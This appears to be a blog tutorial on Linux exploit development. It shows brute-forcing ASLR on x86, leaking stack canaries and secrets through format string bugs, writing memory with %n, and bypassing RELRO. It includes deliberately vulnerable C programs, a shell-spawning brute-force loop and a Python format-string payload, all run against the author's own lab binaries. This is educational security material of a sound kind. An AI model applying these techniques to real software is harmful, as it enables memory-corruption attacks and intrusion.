2. Linux Exploit Countermeasures and Bypasses (3)

2. Bypassing ASLR (Address Space Layout Randomization):

As we discussed earlier, Address Space Layout Randomization, or ASLR, is a security feature designed to make exploitation more difficult by randomizing the memory addresses used by system and application components. Each time a program runs, ASLR repositions critical memory sections, including the stack, heap, libraries, and main executable, to random addresses. ASLR introduces randomness into the memory layout, meaning an exploit that relies on hardcoded addresses will fail unless it can dynamically locate the randomized segments. The core idea is to hinder an attacker from reliably predicting memory addresses for executing ROP (Return-Oriented Programming) chains, shellcode, or jumping to specific functions.

ASLR Entropy

The effectiveness of ASLR largely depends on the amount of entropy, or the degree of randomness, available on the platform:

  • x86 ASLR Entropy: Due to limitations in address space size, x86 ASLR provides relatively low entropy, making brute-forcing a viable approach. For example:
    • Stack and heap addresses may have around 8–16 bits of randomness.
    • Shared libraries and the executable base may be randomized within a small 32-bit address range, giving a smaller number of permutations.
  • x86_64 ASLR Entropy: On 64-bit architectures, there is far greater entropy (28–40 bits or more) in ASLR, making brute-force attacks far more challenging.

Brute-forcing ASLR on x86

Due to lower entropy, especially on 32-bit systems, brute-forcing ASLR is sometimes feasible. By repeatedly executing an exploit and adjusting for the randomized addresses, an attacker may eventually guess the correct address layout. In some cases, it can take hundreds or thousands of attempts but is more feasible than on 64-bit systems.

Enable full randomization on your system:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Now, each time you run binary, ASLR will be applied. Running ldd multiple times illustrates this randomness:

$ ldd exp2_nx 
	linux-gate.so.1 (0xf7f10000)
	libc.so.6 => /lib32/libc.so.6 (0xf7ca9000)
	/lib/ld-linux.so.2 (0xf7f12000)
$ ldd exp2_nx | grep "libc.so.6" 
	libc.so.6 => /lib32/libc.so.6 (0xf7c9b000)
$ ldd exp2_nx | grep "libc.so.6" 
	libc.so.6 => /lib32/libc.so.6 (0xf7d3a000)
$ ldd exp2_nx | grep "libc.so.6" 
	libc.so.6 => /lib32/libc.so.6 (0xf7ca1000)

As you can see, only bits 12 to 23 in the address are randomized while the other bits remain constant. This gives about 212 possible locations (4096 combinations). On older systems, randomness may be reduced to 28, or just 256 combinations, allowing for faster brute-forcing attempts.

Because we know the randomized range, we can attempt the exploit in a loop, hoping to match the randomized libc_base used when the binary is loaded:

$ # I renamed exp3.py to exp4.py
$ while true; do ./exp2_nx $(./exp4.py ); done 2>/dev/null

After a few seconds, you’ll see the shell spawn, signifying a successful guess! 🎉

while true; do ./exp2_nx $(./exp4.py ); done 
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
*** stack smashing detected ***: terminated
Aborted (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
$ pwd
/home/kali/Desktop/Blogs/Materials/x86_exp_dev/03

3. Bypassing Stack Canaries:

Stack canaries, also known as canary values or stack cookies, are a security mechanism used to prevent buffer overflow attacks, particularly those that target the stack. They act as a safeguard between a buffer and critical control data (like return addresses) on the stack, allowing programs to detect potential overflows before they can be exploited. A canary value is placed on the stack just before the return address of a function. This means that if a buffer overflow occurs, the first data that gets overwritten will typically be the canary.

Let’s compile the following C program with -fstack-protector-all flag:

#include <stdio.h>
#include <string.h>

void vuln(char *s) {
    char buff[50];
    strcpy(buff,s);
}

int main(int argc, char* argv[]) {
    vuln(argv[1]);
}
$ gcc -m32 -fstack-protector-all exp1.c -o exp3_canary

To start, we’ll disable ASLR to simplify our analysis. Now, when we attempt to use our ret2libc exploit (exp4.py) on the binary, we encounter something new:

$ ./exp3_canary $(./exp4.py)
bash: warning: command substitution: ignored null byte in input
*** stack smashing detected ***: terminated
Aborted (core dumped)

The message “Stack smashing detected!” shows that our exploit attempt triggered the stack canary mechanism, designed to prevent buffer overflows from overwriting critical control information on the stack.

Let’s take a look at the disassembled vuln function to understand what’s happening:

pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x0000119d <+0>:	push   ebp
   0x0000119e <+1>:	mov    ebp,esp
   0x000011a0 <+3>:	push   ebx
   0x000011a1 <+4>:	sub    esp,0x54
   0x000011a4 <+7>:	call   0x1250 <__x86.get_pc_thunk.ax>
   0x000011a9 <+12>:	add    eax,0x2e4b
   0x000011ae <+17>:	mov    edx,DWORD PTR [ebp+0x8]
   0x000011b1 <+20>:	mov    DWORD PTR [ebp-0x4c],edx
   0x000011b4 <+23>:	mov    edx,DWORD PTR gs:0x14
   0x000011bb <+30>:	mov    DWORD PTR [ebp-0xc],edx
   0x000011be <+33>:	xor    edx,edx
   0x000011c0 <+35>:	sub    esp,0x8
   0x000011c3 <+38>:	push   DWORD PTR [ebp-0x4c]
   0x000011c6 <+41>:	lea    edx,[ebp-0x3e]
   0x000011c9 <+44>:	push   edx
   0x000011ca <+45>:	mov    ebx,eax
   0x000011cc <+47>:	call   0x1050 <strcpy@plt>
   0x000011d1 <+52>:	add    esp,0x10
   0x000011d4 <+55>:	nop
   0x000011d5 <+56>:	mov    eax,DWORD PTR [ebp-0xc]
   0x000011d8 <+59>:	sub    eax,DWORD PTR gs:0x14
   0x000011df <+66>:	je     0x11e6 <vuln+73>
   0x000011e1 <+68>:	call   0x1260 <__stack_chk_fail_local>
   0x000011e6 <+73>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000011e9 <+76>:	leave
   0x000011ea <+77>:	ret

In this disassembly, we observe the following key steps involving the stack canary:

  1. Stack Canary Initialization: At offset <+30>, the value at gs:0x14 (the stack canary) is stored in [ebp-0xc]. This canary acts as a “tripwire” and is meant to detect buffer overflows.

  2. Stack Canary Check:

    • At offset <+56>, the canary value at [ebp-0xc] is compared with the original canary value from gs:0x14.
    • If they match, it means the stack is intact, and the function proceeds to execute normally.
    • If they do not match, the __stack_chk_fail_local function is called at <+68>, which terminates the program with the “stack smashing detected” error.

As previously discussed, stack canaries generally come in three types:

  1. Terminator Canaries: These use values that include null characters and other terminators (e.g., 0x00, 0x0a, 0xff). They prevent most string operations from overwriting the canary because these operations stop at these characters.
  2. Random Canaries: Randomly generated values at runtime make it difficult for attackers to predict or replicate them, enhancing security.
  3. Random XOR Canaries: These are similar to random canaries but are encoded using XOR operations, providing additional layers of complexity against certain types of attacks.

Let’s examine the canary type used in our binary. We’ll set a breakpoint at offset <+30> in the vuln function and check the value stored in the edx register, which holds our canary.

$ gdb ./exp3_canary
pwndbg> b main
Breakpoint 1 at 0x11f9
pwndbg> run AAAAA
pwndbg> b *vuln + 30
Breakpoint 2 at 0x565561bb
pwndbg> c
pwndbg> reg edx
*EDX  0xac2a4c00

As we can see, our canary ends with 0x00, indicating it is a Terminator Canary. This choice prevents buffer overflows that rely on string operations since they terminate upon encountering 0x00.

Below diagram beautifully illustrates stack canary. stack-canary

Image Source: https://squ1rrel.dev/buckeye-stackduck

Stack canaries can be bypassed in a few ways, such as brute-forcing, but a more effective method often involves leveraging information leaks within the binary. By leaking the stack canary, we can incorporate the correct canary value in our payload before overwriting the return address, effectively bypassing stack protections and executing our exploit successfully.

One of the most common ways to leak a stack canary is through Format String vulnerabilities. Let’s explore how format string vulnerabilities work and how we can use them to disclose protected data like stack canaries.

Format String Vulnerabilities

Format string vulnerabilities are a class of security issues that occur when an attacker controls the format string parameter of functions like printf, sprintf, or fprintf without proper validation. These vulnerabilities allow attackers to perform unintended operations, such as reading from or writing to arbitrary memory locations, potentially leading to information leaks or even arbitrary code execution.

In typical use, a format function call might look like this:

printf("Hello, %s!", username);

Here, %s is the format specifier that expects a string argument, and username provides that argument.

However, if user-controlled data is passed directly to the format string without validation, as in:

printf(input);

an attacker could manipulate input to include format specifiers (like %x, %s, or %n) to read or write unintended data. For instance, using %x can leak stack data, which may include sensitive information like function pointers, return addresses, or stack canaries.

Following are some examples of Format Functions, which if not treated, can expose the application to the Format String Attack.

Function Description
fprint Writes the printf to a file
printf Output a formatted string
sprintf Prints into a string
snprintf Prints into a string checking the length
vfprintf Prints the va_arg structure to a file
vprintf Prints the va_arg structure to stdout
vsprintf Prints the va_arg to a string
vsnprintf Prints the va_arg to a string checking the length

Common parameters used in a Format String Attack.

Parameters Output Passed as
%% % character (literal) Reference
%p External representation of a pointer to void Reference
%d Decimal Value
%c Character
%u Unsigned decimal Value
%x Hexadecimal Value
%s String Reference
%n Writes the number of characters into a pointer Reference

Refer: https://owasp.org/www-community/attacks/Format_string_attack

For understanding format string vulnerabilty I want to show you how printf() works.

Consider the following example program:

// gcc -m32 printf_demo.c -o printf_demo
#include <stdio.h>

int main() {

    char *s1 = "Hello";
    int num = 15;
    printf("%s %d\n",s1,num);
}

In this code, printf is used to print a string followed by a number. By examining how this works at the assembly level, we can better understand how format specifiers access and interpret arguments on the stack.

After compiling the program, load it into gdb and set a breakpoint at the printf call:

$ gdb ./printf_demo
pwndbg> disass main
Dump of assembler code for function main:
...
   0x000011c9 <+60>:	mov    ebx,eax
   0x000011cb <+62>:	call   0x1040 <printf@plt>
   0x000011d0 <+67>:	add    esp,0x10
...
pwndbg> b printf@plt
Breakpoint 1 at 0x1040
pwndbg> run
pwndbg> stack 
00:0000│ esp 0xffffd58c —▸ 0x565561d0 (main+67) ◂— add esp, 0x10
01:0004│-028 0xffffd590 —▸ 0x5655700e ◂— '%s %d\n'
02:0008│-024 0xffffd594 —▸ 0x56557008 ◂— 'Hello'
03:000c│-020 0xffffd598 ◂— 0xf

At this point, we observe the following stack layout just before printf is executed:

  • Return Address: The first item on the stack (esp points here) is the return address (main+67), where execution will continue after printf completes.
  • Arguments to printf:
    • Format String ("%s %d\n"): The format string %s %d\n is next on the stack. It guides printf on how to interpret the arguments that follow.
    • Pointer to String (s1): Following the format string is the pointer to the string "Hello".
    • Integer (num): Finally, the integer num (15) is pushed onto the stack.

When printf executes, it reads arguments in the order they appear in the format string, moving from right to left across the stack. Here’s how it processes each specifier:

  1. %s: The %s format specifier tells printf to expect a string. It locates the first argument after the format string (0x56557008), which is a pointer to "Hello", and prints the string.
  2. %d: The %d format specifier instructs printf to expect an integer. It moves to the next argument (15 or 0xf) and prints it as a decimal number.

I’m sure this diagram I created will help clarify things for you!

format-str

Now, imagine if the arguments passed to printf are just "%s %d\n", s1. In this case, the %s specifier would correctly print the string pointed to by s1, but when printf encounters %d, it expects an integer argument. Since no integer was supplied, printf will instead interpret whatever data is on the stack at that position as an integer and print it in decimal format.

This discrepancy can lead to unintended behavior, often revealing sensitive stack information if the unintentional data happens to be a valid address or value. This is a key aspect of format string vulnerabilities and demonstrates how improper handling of format specifiers can lead to information leaks.

Let’s do it practically!

// secret.c
#include <stdio.h>

void secret() {
    char secret[12] = "p@ssw0rd!";
    char buffer[20] ;
    gets(buffer);
    printf(buffer);
}

int main() {
    secret();
}

On compiling and running we can see that the above program is vulnerable to format string bug.

$ ./secret 
%p
0xf7fc6000

Let’s load it in gdb and see which data is printed and it was at what location in the stack.

$ gdb ./secret
pwndbg> b printf
Breakpoint 1 at 0x1040
pwndbg> run
Starting program: /home/kali/Desktop/Blogs/Materials/x86_exp_dev/03/secret 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%p.%p.%p.%p

We gave input as %p.%p.%p.%p. Let’s examine the stack:

pwndbg> stack 15
00:0000│ esp 0xffffd57c —▸ 0x565561df (secret+66) ◂— add esp, 0x10
01:0004│-038 0xffffd580 —▸ 0xffffd590 ◂— '%p.%p.%p.%p'
02:0008│-034 0xffffd584 —▸ 0xf7fc6000 ◂— jg 0xf7fc6047
03:000c│-030 0xffffd588 ◂— 0
04:0010│-02c 0xffffd58c —▸ 0x565561a9 (secret+12) ◂— add ebx, 0x2e4b
05:0014│ eax 0xffffd590 ◂— '%p.%p.%p.%p'
06:0018│-024 0xffffd594 ◂— 'p.%p.%p'
07:001c│-020 0xffffd598 ◂— 0x70252e /* '.%p' */
08:0020│-01c 0xffffd59c —▸ 0xf7d70964 ◂— 0x920 /* ' \t' */
09:0024│-018 0xffffd5a0 —▸ 0xf7fc0400 —▸ 0xf7d5f000 ◂— 0x464c457f
0a:0028│-014 0xffffd5a4 ◂— 'p@ssw0rd!'
0b:002c│-010 0xffffd5a8 ◂— 'w0rd!'
0c:0030│-00c 0xffffd5ac ◂— 0x21 /* '!' */
0d:0034│-008 0xffffd5b0 ◂— 0
0e:0038│-004 0xffffd5b4 —▸ 0xf7f94e14 ◂— 0x235d0c /* '\x0c]#' */

In this case, you can see the memory addresses of values pushed onto the stack in relation to our printf call. The format string we’re using, “%p.%p.%p.%p”, will print four hexadecimal pointers from the stack. Hence, We will see 0xf7fc6000 0 0x565561a9 … as we will be printing four hexadecimal pointers.

pwndbg> c
Continuing.
0xf7fc6000.(nil).0x565561a9.0x252e7025[Inferior 1 (process 691626) exited normally]

Here, our guess was correct—printf printed four consecutive stack values in hexadecimal. This is a powerful way to leak memory addresses by simply manipulating format specifiers.

To locate the secret string, examine the stack layout. By looking at the addresses on the stack, you’ll see that the target data (“p@ssw0rd!”) is at the 9th offset from our input.

One thing I forgot to mention that instead of using repetitive %p format specifiers, you can use the “%$p” format to access specific stack values directly. This lets you craft inputs more precisely

So by following this idea was can craft our input as “%p$9”. Let’ give it to the program and see.

$ ./secret 
%9$p
0x73734070

As the we are working on 32 bit binary the pointer will be 32 bit only. We can use %llx format specifier.

$ ./secret 
%9$llx
6472307773734070

We can now convert this hexadecimal output to ASCII to reveal the string:

$ pwn unhex 6472307773734070
dr0wss@p

By repeating this process with other offsets, we can retrieve more characters if necessary.

$ ./secret 
%10$llx
2164723077
$ # Converting this with pwn unhex also reveals additional characters:
$ pwn unhex 2164723077
!dr0w

We can also use smaller specifiers, such as %lx, to print data in smaller chunks and even view individual characters with %c if needed:

$ ./secret 
%9$lx
73734070
$ ./secret 
%10$lx
64723077
$ ./secret 
%11$c
!

Each of these steps demonstrates how format string vulnerabilities enable an attacker to read and leak sensitive information.

Writing Data Using Format String Vulnerabilities

In addition to leaking data, format string vulnerabilities can also allow us to write arbitrary data to specific memory addresses. By carefully constructing a format string with %n specifiers, we can influence the value at a given address. This capability is often exploited to modify control flow or bypass security mechanisms in a program.

Here’s a step-by-step guide on how to exploit a format string vulnerability to write data.

Understanding the %n Specifier

The %n specifier in printf instructs the function to write the number of characters printed so far to the memory address provided as an argument. For example, if %n is preceded by 10 characters in a formatted string, printf will write the value 10 to the specified memory location.

This property of %n allows us to control what value gets written to an arbitrary address by adjusting the number of characters in the format string.

The following example demonstrates how to exploit format string vulnerabilities to modify memory using the %n specifier, allowing us to change a variable’s value by writing to a specific address.

Consider this vulnerable program where the goal is to change the value of target to 4 using the format string vulnerability.

// gcc -m32 -fno-stack-protector -z execstack write_fmt.c -o write_fmt
#include <stdio.h>

int main() {
    int target = 0;
    printf("Address of target: %p\n", &target);
    printf("Input: ");
    char buffer[100];
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    if (target == 0x4) {
        printf("Success! You've changed the target variable.\n");
    } else {
        printf("Target remains unchanged.\n");
    }
}

The %n specifier in printf writes the number of characters printed so far to the memory address specified as an argument. Here’s a minimal example:

// gcc -m32 -fno-stack-protector -z execstack fmt_n.c -o fmt_n
#include <stdio.h>

int main() {
    int num = 0;
    printf("AAAA%n",&num);
    printf("\n");
    printf("[+] num -> %d\n",num);
}

Running this example shows how %n writes 4 to num because AAAA is four characters long:

$ ./fmt_n 
AAAA
[+] num -> 4

Exploiting write_fmt with %n

In our target program, write_fmt, we need to:

  1. Find the offset on the stack where our input is located.
  2. Use %n to write 4 to the address of target.

Step 1: Identifying the Offset

$ ./write_fmt 
Address of target: 0xffffd61c
Input: AAAA %p %p %p %p %p %p %p
AAAA 0xc8 0xf7f955c0 0x565561c7 0xf63d4e2e 0x41414141 0x20702520 0x25207025
Target remains unchanged.

As we see, AAAA (0x41414141) is located in the fifth position on the stack. We can confirm this by checking:

$ ./write_fmt 
Address of target: 0xffffd61c
Input: AAAA %5$x
AAAA 41414141
Target remains unchanged.

Step 2: Crafting the Payload

To overwrite target:

  1. Place AAAA to mark the fifth stack position.
  2. Use %7$n to instruct printf to write to an address located at the seventh position.
  3. Add the address of target as the seventh element.

The final payload structure is as follows:

  • AAAA: marks our input at the fifth position.
  • %7$n: writes the current count to the address at the seventh position.
  • struct.pack("<I", 0xffffd61c): places the address of target at the seventh position.

Note: Our stack is 4-byte aligned since we are working with a 32-bit binary.

Here’s the exploit script:

#!/usr/bin/python2
import struct

payload = "AAAA"    
payload += "%7$n"   
payload += struct.pack("<I", 0xffffd61c)  

print(payload)

Running this payload script with write_fmt demonstrates the exploit in action:

$ ./fmt.py | ./write_fmt 
Address of target: 0xffffd61c
Input: AAAA���
Success! You've changed the target variable.

This approach effectively uses the format string vulnerability to overwrite target with the desired value.

4. Bypassing RELRO (Relocation Read-Only):

RELRO, or Relocation Read-Only, is a security feature designed to prevent modifications to the Global Offset Table (GOT) at runtime. By making sections like the GOT read-only after loading, RELRO mitigates certain types of attacks, particularly GOT overwrites often used in exploit techniques like Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP).

There are two primary forms of RELRO:

  • Partial RELRO
  • Full RELRO

Bypassing Partial RELRO

Since the GOT is still writable under partial RELRO, we can overwrite specific entries to hijack execution flow. This is commonly done by redirecting GOT entries to malicious functions or to functions elsewhere in the binary.

Bypassing Full RELRO

With full RELRO enabled, direct GOT overwrites are no longer possible, so the attack strategy shifts toward alternative methods like ret2plt, where we might manipulate the binary’s PLT entries instead. In ret2plt, we redirect execution to a PLT stub that then jumps to our desired function.